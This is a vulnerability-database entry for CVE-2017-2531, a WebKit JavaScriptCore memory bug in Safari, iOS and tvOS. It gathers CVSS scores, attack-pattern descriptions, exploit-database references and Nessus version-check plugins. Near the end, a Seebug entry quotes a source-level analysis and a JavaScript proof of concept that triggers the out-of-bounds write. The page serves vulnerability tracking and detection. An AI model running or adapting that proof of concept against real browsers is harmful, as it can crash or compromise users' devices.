Vulnerabilities > CVE-2017-2531 - Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Apple Safari

047910
CVSS 8.8 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
low complexity
apple
CWE-119
nessus
exploit available

Summary

An issue was discovered in certain Apple products. iOS before 10.3.2 is affected. Safari before 10.1.1 is affected. tvOS before 10.2.1 is affected. The issue involves the "WebKit" component. It allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site.

Vulnerable Configurations

Part Description Count
Application
Apple
152
OS
Apple
213

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Exploit-Db

descriptionWebKit JSC - Incorrect Check in emitPutDerivedConstructorToArrowFunctionContextScope. CVE-2017-2531. Dos exploit for Multiple platform. Tags: Out Of Bounds
fileexploits/multiple/dos/42104.js
idEDB-ID:42104
last seen2017-06-01
modified2017-06-01
platformmultiple
port
published2017-06-01
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/42104/
titleWebKit JSC - Incorrect Check in emitPutDerivedConstructorToArrowFunctionContextScope
typedos

Nessus

  • NASL familyMacOS X Local Security Checks
    NASL idMACOSX_SAFARI10_1_1.NASL
    descriptionThe version of Apple Safari installed on the remote macOS or Mac OS X host is prior to 10.1.1. It is, therefore, affected by multiple vulnerabilities : - An unspecified flaw exists in the history menu functionality. An unauthenticated, remote attacker can exploit this to cause a denial of service condition. (CVE-2017-2495) - Multiple memory corruption issues exist in the WebKit component due to improper validation of user-supplied input. An unauthenticated, remote attacker can exploit these issues, by convincing a user to visit a specially crafted website, to execute arbitrary code. (CVE-2017-2496, CVE-2017-2505, CVE-2017-2506, CVE-2017-2514, CVE-2017-2515, CVE-2017-2521, CVE-2017-2525, CVE-2017-2526, CVE-2017-2530, CVE-2017-2531, CVE-2017-2538, CVE-2017-2539, CVE-2017-2544, CVE-2017-2547, CVE-2017-6980, CVE-2017-6984) - A memory corruption issue exists in the WebKit Web Inspector component that allows an unauthenticated, remote attacker to execute arbitrary code. (CVE-2017-2499) - An address bar spoofing vulnerability exists due to improper state management. An unauthenticated, remote attacker can exploit this to spoof the address in the address bar. (CVE-2017-2500, CVE-2017-2511) - Multiple universal cross-site scripting (XSS) vulnerabilities exist in WebKit due to improper handling of WebKit Editor commands, container nodes, pageshow events, frame loading, and cached frames. An unauthenticated, remote attacker can exploit this, via a specially crafted web page, to execute arbitrary script code in a user
    last seen2020-06-01
    modified2020-06-02
    plugin id100355
    published2017-05-23
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/100355
    titlemacOS : Apple Safari < 10.1.1 Multiple Vulnerabilities
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(100355);
      script_version("1.5");
      script_cvs_date("Date: 2019/11/13");
    
      script_cve_id(
        "CVE-2017-2495",
        "CVE-2017-2496",
        "CVE-2017-2499",
        "CVE-2017-2500",
        "CVE-2017-2504",
        "CVE-2017-2505",
        "CVE-2017-2506",
        "CVE-2017-2508",
        "CVE-2017-2510",
        "CVE-2017-2511",
        "CVE-2017-2514",
        "CVE-2017-2515",
        "CVE-2017-2521",
        "CVE-2017-2525",
        "CVE-2017-2526",
        "CVE-2017-2528",
        "CVE-2017-2530",
        "CVE-2017-2531",
        "CVE-2017-2536",
        "CVE-2017-2538",
        "CVE-2017-2539",
        "CVE-2017-2544",
        "CVE-2017-2547",
        "CVE-2017-2549",
        "CVE-2017-6980",
        "CVE-2017-6984"
      );
      script_bugtraq_id(
        98454,
        98455,
        98456,
        98470,
        98473,
        98474
      );
      script_xref(name:"APPLE-SA", value:"APPLE-SA-2017-05-15-7");
    
      script_name(english:"macOS : Apple Safari < 10.1.1 Multiple Vulnerabilities");
      script_summary(english:"Checks the Safari version.");
    
      script_set_attribute(attribute:"synopsis", value:
    "A web browser installed on the remote macOS or Mac OS X host is
    affected by multiple vulnerabilities.");
      script_set_attribute(attribute:"description", value:
    "The version of Apple Safari installed on the remote macOS or Mac OS X
    host is prior to 10.1.1. It is, therefore, affected by multiple
    vulnerabilities :
    
      - An unspecified flaw exists in the history menu
        functionality. An unauthenticated, remote attacker can
        exploit this to cause a denial of service condition.
        (CVE-2017-2495)
    
      - Multiple memory corruption issues exist in the WebKit
        component due to improper validation of user-supplied
        input. An unauthenticated, remote attacker can exploit
        these issues, by convincing a user to visit a specially
        crafted website, to execute arbitrary code.
        (CVE-2017-2496, CVE-2017-2505, CVE-2017-2506,
        CVE-2017-2514, CVE-2017-2515, CVE-2017-2521,
        CVE-2017-2525, CVE-2017-2526, CVE-2017-2530,
        CVE-2017-2531, CVE-2017-2538, CVE-2017-2539,
        CVE-2017-2544, CVE-2017-2547, CVE-2017-6980,
        CVE-2017-6984)
    
      - A memory corruption issue exists in the WebKit Web
        Inspector component that allows an unauthenticated,
        remote attacker to execute arbitrary code.
        (CVE-2017-2499)
    
      - An address bar spoofing vulnerability exists due to
        improper state management. An unauthenticated, remote
        attacker can exploit this to spoof the address in the
        address bar. (CVE-2017-2500, CVE-2017-2511)
    
      - Multiple universal cross-site scripting (XSS)
        vulnerabilities exist in WebKit due to improper handling
        of WebKit Editor commands, container nodes, pageshow
        events, frame loading, and cached frames. An
        unauthenticated, remote attacker can exploit this, via a
        specially crafted web page, to execute arbitrary script
        code in a user's browser session. (CVE-2017-2504,
        CVE-2017-2508, CVE-2017-2510, CVE-2017-2528,
        CVE-2017-2549)
    
      - Multiple unspecified flaws exist in WebKit that allow
        an unauthenticated, remote attacker to corrupt memory
        and execute arbitrary code by using specially crafted
        web content. (CVE-2017-2536)");
      script_set_attribute(attribute:"see_also", value:"https://support.apple.com/en-us/HT207804");
      # https://lists.apple.com/archives/security-announce/2017/May/msg00003.html
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?7a320df7");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to Apple Safari version 10.1.1 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-6984");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2017/05/15");
      script_set_attribute(attribute:"patch_publication_date", value:"2017/05/15");
      script_set_attribute(attribute:"plugin_publication_date", value:"2017/05/23");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:apple:safari");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"MacOS X Local Security Checks");
    
      script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("macosx_Safari31.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/MacOSX/Version", "MacOSX/Safari/Installed");
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    os = get_kb_item("Host/MacOSX/Version");
    if (!os) audit(AUDIT_OS_NOT, "Mac OS X or macOS");
    
    if (!ereg(pattern:"Mac OS X 10\.(10|11|12)([^0-9]|$)", string:os)) audit(AUDIT_OS_NOT, "Mac OS X Yosemite 10.10 / Mac OS X El Capitan 10.11 / macOS Sierra 10.12");
    
    installed = get_kb_item_or_exit("MacOSX/Safari/Installed", exit_code:0);
    path      = get_kb_item_or_exit("MacOSX/Safari/Path", exit_code:1);
    version   = get_kb_item_or_exit("MacOSX/Safari/Version", exit_code:1);
    
    fixed_version = "10.1.1";
    
    if (ver_compare(ver:version, fix:fixed_version, strict:FALSE) == -1)
    {
      report = report_items_str(
        report_items:make_array(
          "Path", path,
          "Installed version", version,
          "Fixed version", fixed_version
        ),
        ordered_fields:make_list("Path", "Installed version", "Fixed version")
      );
      security_report_v4(port:0, severity:SECURITY_WARNING, extra:report, xss:true);
    }
    else audit(AUDIT_INST_PATH_NOT_VULN, "Safari", version, path);
    
  • NASL familyMisc.
    NASL idAPPLETV_10_2_1.NASL
    descriptionAccording to its banner, the version of Apple TV on the remote device is prior to 10.2.1. It is, therefore, affected by multiple vulnerabilities : - A memory corruption issue exists in the WebKit Web Inspector component that allows an unauthenticated, remote attacker to execute arbitrary code. (CVE-2017-2499) - An unspecified race condition exists in the Kernel component that allows a local attacker to execute arbitrary code with kernel-level privileges. (CVE-2017-2501) - An information disclosure vulnerability exists in the CoreAudio component due to improper sanitization of certain input. A local attacker can exploit this to read the contents of restricted memory. (CVE-2017-2502) - A universal cross-site scripting (XSS) vulnerability exists in WebKit due to a logic flaw when handling WebKit Editor commands. An unauthenticated, remote attacker can exploit this, via a specially crafted web page, to execute arbitrary script code in a user
    last seen2020-06-01
    modified2020-06-02
    plugin id100256
    published2017-05-17
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/100256
    titleApple TV < 10.2.1 Multiple Vulnerabilities
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(100256);
      script_version("1.9");
      script_cvs_date("Date: 2019/11/13");
    
      script_cve_id(
        "CVE-2017-2499",
        "CVE-2017-2501",
        "CVE-2017-2502",
        "CVE-2017-2504",
        "CVE-2017-2505",
        "CVE-2017-2507",
        "CVE-2017-2513",
        "CVE-2017-2515",
        "CVE-2017-2518",
        "CVE-2017-2519",
        "CVE-2017-2520",
        "CVE-2017-2521",
        "CVE-2017-2524",
        "CVE-2017-2525",
        "CVE-2017-2530",
        "CVE-2017-2531",
        "CVE-2017-2536",
        "CVE-2017-2549",
        "CVE-2017-6979",
        "CVE-2017-6980",
        "CVE-2017-6984",
        "CVE-2017-6987",
        "CVE-2017-6989",
        "CVE-2017-7003",
        "CVE-2017-7005"
      );
      script_bugtraq_id(
        98454,
        98455,
        98456,
        98457,
        98468,
        98473
      );
    
      script_name(english:"Apple TV < 10.2.1 Multiple Vulnerabilities");
      script_summary(english:"Checks the build number.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote Apple TV device is affected by multiple vulnerabilities.");
      script_set_attribute(attribute:"description", value:
    "According to its banner, the version of Apple TV on the remote device
    is prior to 10.2.1. It is, therefore, affected by multiple
    vulnerabilities :
    
      - A memory corruption issue exists in the WebKit Web
        Inspector component that allows an unauthenticated,
        remote attacker to execute arbitrary code.
        (CVE-2017-2499)
    
      - An unspecified race condition exists in the Kernel
        component that allows a local attacker to execute
        arbitrary code with kernel-level privileges.
        (CVE-2017-2501)
    
      - An information disclosure vulnerability exists in the
        CoreAudio component due to improper sanitization of
        certain input. A local attacker can exploit this to read
        the contents of restricted memory. (CVE-2017-2502)
    
      - A universal cross-site scripting (XSS) vulnerability
        exists in WebKit due to a logic flaw when handling
        WebKit Editor commands. An unauthenticated, remote
        attacker can exploit this, via a specially crafted web
        page, to execute arbitrary script code in a user's
        browser session. (CVE-2017-2504)
    
      - Multiple memory corruption issues exist in WebKit due to
        improper validation of certain input. An
        unauthenticated, remote attacker can exploit these to
        execute arbitrary code. (CVE-2017-2505, CVE-2017-2515,
        CVE-2017-2521, CVE-2017-2530, CVE-2017-2531,
        CVE-2017-6980, CVE-2017-6984)
    
      - Multiple information disclosure vulnerabilities exist
        in the Kernel component due to improper sanitization of
        certain input. A local attacker can exploit these to
        read the contents of restricted memory. (CVE-2017-2507,
        CVE-2017-6987)
    
      - A use-after-free error exists in the SQLite component
        when handling SQL queries. An unauthenticated, remote
        attacker can exploit this to deference already freed
        memory, resulting in the execution of arbitrary code.
        (CVE-2017-2513)
    
      - Multiple buffer overflow conditions exist in the SQLite
        component due to the improper validation of certain
        input. An unauthenticated, remote attacker can exploit
        these, via a specially crafted SQL query, to execute
        arbitrary code. (CVE-2017-2518, CVE-2017-2520)
    
      - A memory corruption issue exists in the SQLite component
        when handling SQL queries. An unauthenticated, remote
        attacker can exploit this, via a specially crafted
        query, to execute arbitrary code. (CVE-2017-2519)
    
      - An unspecified memory corruption issue exists in the
        TextInput component when parsing specially crafted data.
        An unauthenticated, remote attacker can exploit this to
        execute arbitrary code. (CVE-2017-2524)
    
      - A use-after-free error exists in WebKit when handling
        RenderLayer objects. An unauthenticated, remote attacker
        can exploit this, via a specially crafted web page, to
        deference already freed memory, resulting in the
        execution of arbitrary code. (CVE-2017-2525)
    
      - Multiple unspecified flaws exist in WebKit that allow
        an unauthenticated, remote attacker to corrupt memory
        and execute arbitrary code by using specially crafted
        web content. (CVE-2017-2536)
    
      - A universal cross-site scripting (XSS) vulnerability
        exists in WebKit due to a logic error when handling
        frame loading. An unauthenticated, remote attacker can
        exploit this, via a specially crafted web page, to
        execute arbitrary code in a user's browser session.
        (CVE-2017-2549)
    
      - An unspecified flaw exists in the IOSurface component
        that allows a local attacker to corrupt memory and
        execute arbitrary code with kernel-level privileges.
        (CVE-2017-6979)
    
      - An unspecified flaw exists in the AVEVideoEncoder
        component that allows a local attacker, via a specially
        crafted application, to corrupt memory and execute
        arbitrary code with kernel-level privileges.
        (CVE-2017-6989)
    
      - A denial of service vulnerability exists in the
        CoreText component due to improper validation of
        user-supplied input. An unauthenticated, remote attacker
        can exploit this, via a specially crafted file, to crash
        an application. (CVE-2017-7003)
    
      - A memory corruption issue exists in the JavaScriptCore
        component due to improper validation of user-supplied
        input. An unauthenticated, remote attacker can exploit
        this, via specially crafted web content, to cause a
        denial of service condition or the execution of
        arbitrary code. (CVE-2017-7005)
    
    Note that only 4th generation models are affected by these
    vulnerabilities.");
      script_set_attribute(attribute:"see_also", value:"https://support.apple.com/en-us/HT207801");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to Apple TV version 10.2.1 or later. Note that this update is
    only available for 4th generation models.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-6989");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2017/05/15");
      script_set_attribute(attribute:"patch_publication_date", value:"2017/05/15");
      script_set_attribute(attribute:"plugin_publication_date", value:"2017/05/17");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:apple:apple_tv");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"Misc.");
    
      script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("appletv_version.nasl");
      script_require_keys("AppleTV/Version", "AppleTV/Model", "AppleTV/URL", "AppleTV/Port");
      script_require_ports("Services/www", 7000);
    
      exit(0);
    }
    
    include("audit.inc");
    include("appletv_func.inc");
    
    url = get_kb_item('AppleTV/URL');
    if (empty_or_null(url)) exit(0, 'Cannot determine Apple TV URL.');
    port = get_kb_item('AppleTV/Port');
    if (empty_or_null(port)) exit(0, 'Cannot determine Apple TV port.');
    
    build = get_kb_item('AppleTV/Version');
    if (empty_or_null(build)) audit(AUDIT_UNKNOWN_DEVICE_VER, 'Apple TV');
    
    model = get_kb_item('AppleTV/Model');
    if (empty_or_null(model)) exit(0, 'Cannot determine Apple TV model.');
    
    fixed_build = "14W585a";
    tvos_ver = '10.2.1';
    
    # determine gen from the model
    gen = APPLETV_MODEL_GEN[model];
    
    appletv_check_version(
      build          : build,
      fix            : fixed_build,
      affected_gen   : 4,
      fix_tvos_ver   : tvos_ver,
      model          : model,
      gen            : gen,
      port           : port,
      url            : url,
      severity       : SECURITY_HOLE,
      xss            : TRUE
    );
    
  • NASL familyGentoo Local Security Checks
    NASL idGENTOO_GLSA-201706-15.NASL
    descriptionThe remote host is affected by the vulnerability described in GLSA-201706-15 (WebKitGTK+: Multiple vulnerabilities) Multiple vulnerabilities have been discovered in WebKitGTK+. Please review the CVE identifiers referenced below for details. Impact : A remote attack can use multiple vectors to execute arbitrary code or cause a denial of service condition. Workaround : There is no known workaround at this time.
    last seen2020-06-01
    modified2020-06-02
    plugin id100675
    published2017-06-08
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/100675
    titleGLSA-201706-15 : WebKitGTK+: Multiple vulnerabilities
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were
    # extracted from Gentoo Linux Security Advisory GLSA 201706-15.
    #
    # The advisory text is Copyright (C) 2001-2017 Gentoo Foundation, Inc.
    # and licensed under the Creative Commons - Attribution / Share Alike 
    # license. See http://creativecommons.org/licenses/by-sa/3.0/
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(100675);
      script_version("3.2");
      script_cvs_date("Date: 2019/04/10 16:10:17");
    
      script_cve_id("CVE-2015-2330", "CVE-2015-7096", "CVE-2015-7098", "CVE-2016-1723", "CVE-2016-1724", "CVE-2016-1725", "CVE-2016-1726", "CVE-2016-1727", "CVE-2016-1728", "CVE-2016-4692", "CVE-2016-4743", "CVE-2016-7586", "CVE-2016-7587", "CVE-2016-7589", "CVE-2016-7592", "CVE-2016-7598", "CVE-2016-7599", "CVE-2016-7610", "CVE-2016-7611", "CVE-2016-7623", "CVE-2016-7632", "CVE-2016-7635", "CVE-2016-7639", "CVE-2016-7640", "CVE-2016-7641", "CVE-2016-7642", "CVE-2016-7645", "CVE-2016-7646", "CVE-2016-7648", "CVE-2016-7649", "CVE-2016-7652", "CVE-2016-7654", "CVE-2016-7656", "CVE-2016-9642", "CVE-2016-9643", "CVE-2017-2350", "CVE-2017-2354", "CVE-2017-2355", "CVE-2017-2356", "CVE-2017-2362", "CVE-2017-2363", "CVE-2017-2364", "CVE-2017-2365", "CVE-2017-2366", "CVE-2017-2367", "CVE-2017-2369", "CVE-2017-2371", "CVE-2017-2373", "CVE-2017-2376", "CVE-2017-2377", "CVE-2017-2386", "CVE-2017-2392", "CVE-2017-2394", "CVE-2017-2395", "CVE-2017-2396", "CVE-2017-2405", "CVE-2017-2415", "CVE-2017-2419", "CVE-2017-2433", "CVE-2017-2442", "CVE-2017-2445", "CVE-2017-2446", "CVE-2017-2447", "CVE-2017-2454", "CVE-2017-2455", "CVE-2017-2457", "CVE-2017-2459", "CVE-2017-2460", "CVE-2017-2464", "CVE-2017-2465", "CVE-2017-2466", "CVE-2017-2468", "CVE-2017-2469", "CVE-2017-2470", "CVE-2017-2471", "CVE-2017-2475", "CVE-2017-2476", "CVE-2017-2481", "CVE-2017-2496", "CVE-2017-2504", "CVE-2017-2505", "CVE-2017-2506", "CVE-2017-2508", "CVE-2017-2510", "CVE-2017-2514", "CVE-2017-2515", "CVE-2017-2521", "CVE-2017-2525", "CVE-2017-2526", "CVE-2017-2528", "CVE-2017-2530", "CVE-2017-2531", "CVE-2017-2536", "CVE-2017-2539", "CVE-2017-2544", "CVE-2017-2547", "CVE-2017-2549", "CVE-2017-6980", "CVE-2017-6984");
      script_xref(name:"GLSA", value:"201706-15");
    
      script_name(english:"GLSA-201706-15 : WebKitGTK+: Multiple vulnerabilities");
      script_summary(english:"Checks for updated package(s) in /var/db/pkg");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:
    "The remote Gentoo host is missing one or more security-related
    patches."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "The remote host is affected by the vulnerability described in GLSA-201706-15
    (WebKitGTK+: Multiple vulnerabilities)
    
        Multiple vulnerabilities have been discovered in WebKitGTK+. Please
          review the CVE identifiers referenced below for details.
      
    Impact :
    
        A remote attack can use multiple vectors to execute arbitrary code or
          cause a denial of service condition.
      
    Workaround :
    
        There is no known workaround at this time."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://security.gentoo.org/glsa/201706-15"
      );
      script_set_attribute(
        attribute:"solution", 
        value:
    "All WebKitGTK+ users should upgrade to the latest version:
          # emerge --sync
          # emerge --ask --oneshot --verbose '>=net-libs/webkit-gtk-2.16.3:4'"
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:webkit-gtk");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2017/06/07");
      script_set_attribute(attribute:"plugin_publication_date", value:"2017/06/08");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Gentoo Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("qpkg.inc");
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
    if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    
    if (qpkg_check(package:"net-libs/webkit-gtk", unaffected:make_list("ge 2.16.3"), vulnerable:make_list("lt 2.16.3"))) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());
      else security_hole(0);
      exit(0);
    }
    else
    {
      tested = qpkg_tests_get();
      if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
      else audit(AUDIT_PACKAGE_NOT_INSTALLED, "WebKitGTK+");
    }
    

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/142768/GS20170601000718.txt
idPACKETSTORM:142768
last seen2017-06-01
published2017-06-01
reporterGoogle Security Research
sourcehttps://packetstormsecurity.com/files/142768/WebKit-JSC-emitPutDerivedConstructorToArrowFunctionContextScope-Incorrect-Check.html
titleWebKit JSC emitPutDerivedConstructorToArrowFunctionContextScope Incorrect Check

Seebug

bulletinFamilyexploit
descriptionWebKit: JSC: incorrect check in emitPutDerivedConstructorToArrowFunctionContextScope When a super expression is used in an arrow function, the following code, which generates bytecode, is called. ``` if (needsToUpdateArrowFunctionContext() && !codeBlock->isArrowFunction()) { bool canReuseLexicalEnvironment = isSimpleParameterList; initializeArrowFunctionContextScopeIfNeeded(functionSymbolTable, canReuseLexicalEnvironment); emitPutThisToArrowFunctionContextScope(); emitPutNewTargetToArrowFunctionContextScope(); emitPutDerivedConstructorToArrowFunctionContextScope(); } ``` Here's |emitPutDerivedConstructorToArrowFunctionContextScope|. ``` void BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope() { if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) { if (isSuperUsedInInnerArrowFunction()) { ASSERT(m_arrowFunctionContextLexicalEnvironmentRegister); Variable protoScope = variable(propertyNames().builtinNames().derivedConstructorPrivateName()); emitPutToScope(m_arrowFunctionContextLexicalEnvironmentRegister, protoScope, &m_calleeRegister, DoNotThrowIfNotFound, InitializationMode::Initialization); } } } ``` |emitPutToScope| is directly called without resolving the scope. This means the scope |m_arrowFunctionContextLexicalEnvironmentRegister| must have a place for |derivedConstructorPrivateName|. And that place is secured in the following method. ``` void BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded(SymbolTable* functionSymbolTable, bool canReuseLexicalEnvironment) { ASSERT(!m_arrowFunctionContextLexicalEnvironmentRegister); if (canReuseLexicalEnvironment && m_lexicalEnvironmentRegister) { ... if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction()) { offset = functionSymbolTable->takeNextScopeOffset(NoLockingNecessary); functionSymbolTable->set(NoLockingNecessary, propertyNames().builtinNames().derivedConstructorPrivateName().impl(), SymbolTableEntry(VarOffset(offset))); } ... } ... } ``` But the problem is that the checks in |emitPutDerivedConstructorToArrowFunctionContextScope| and |initializeArrowFunctionContextScopeIfNeeded| are slightly diffrent. ``` BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded: if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction()) BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope: if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) { if (isSuperUsedInInnerArrowFunction()) { ``` Note: " || m_codeBlock->isClassContext()". So, in a certain case, it fails to secure the place for |derivedConstructorPrivateName|, but |emitPutToScope| is called, which results in an OOB write. ### PoC: ``` let args = new Array(0x10000); args.fill(); args = args.map((_, i) => 'a' + i).join(', '); let gun = eval(`(function () { class A { } class B extends A { constructor(${args}) { () => { ${args}; super(); }; class C { constructor() { } trigger() { (() => { super.x; })(); } } return new C(); } } return new B(); })()`); for (let i = 0; i < 0x10000; i++) gun.trigger(); ```
idSSV:93180
last seen2017-11-19
modified2017-06-06
published2017-06-06
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-93180
titleWebKit JSC emitPutDerivedConstructorToArrowFunctionContextScope Incorrect Check(CVE-2017-2531)